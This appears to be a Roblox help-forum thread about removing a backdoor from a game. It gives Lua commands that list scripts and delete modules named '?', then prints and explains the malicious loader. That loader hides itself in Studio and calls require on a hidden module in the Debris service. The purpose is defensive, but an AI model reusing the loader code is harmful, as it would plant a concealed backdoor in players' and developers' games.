You probably have a virus in your place, so here is the method:

1) Run this command here in "Command Bar":

local function scripts(instances, i)
    for i = (i or 0) + 1, #instances do
        local instance = instances[i]
        local success, result = pcall(instance.IsA, instance, 'LuaSourceContainer')
        if success and result then
            return i, instance
        end
    end
end

for i, source in scripts, game:GetDescendants() do
    print(source:GetFullName())
end

2) Now, you can see all the scripts and module scripts in a window called "Output". Try to find all objects that are named "?".

3) If you found more Module Scripts, that are named "?" try to remove them by using this command:

for _,obj in pairs(game:GetService("Debris"):GetChildren()) do if obj.Name == '?' then obj:Destroy() end end

4) You might find another Module Script in "InsertService" and "TweenService" so just replace "Debris" with that.

5) Reinstall Roblox Studio and Roblox and then repeat the 1st step again.

6) If none of this work, I found a very useful place where people are discussing about this problem. https://devforum.roblox.com/t/do-i-have-malicious-scripts-in-my-game/216409/

I hope this one worked for you!

I'm pretty sure I got everything. It's just requiring some module, so u should obviously remove the script and look for others. Don't use free models, kids

if game:GetService("RunService"):IsStudio() then 
  return
end

--thats just so u dont know anything's wrong until u play a real game ^^^

pcall(function()
  if game:GetService("Debris"):FindFirstChild("?") then
      getfenv().require(game:GetService("Debris"):FindFirstChild("?").slo(game.PlaceId))
    end
end)

Accept and upvote if this helps!

This script roughly translates to:

if game:GetService("RunService"):IsStudio() then
    return
end

pcall(function()
    if game:GetService("Debris"):FindFirstChild("?") then
        getfenv().require(game:GetService("Debris"):FindFirstChild("?").slo(game.PlaceId))
    end
end)

The original script is obfuscated, and getfenv().require(game:GetService("Debris"):FindFirstChild("?").slo(game.PlaceId)) is getting the table with all of the global variables, retrieves the require function. "?" seems to be a module script, and slo a function returned by that module script, and it is doing something with your game's PlaceId number. This is extremely shady script and you should NOT be using it.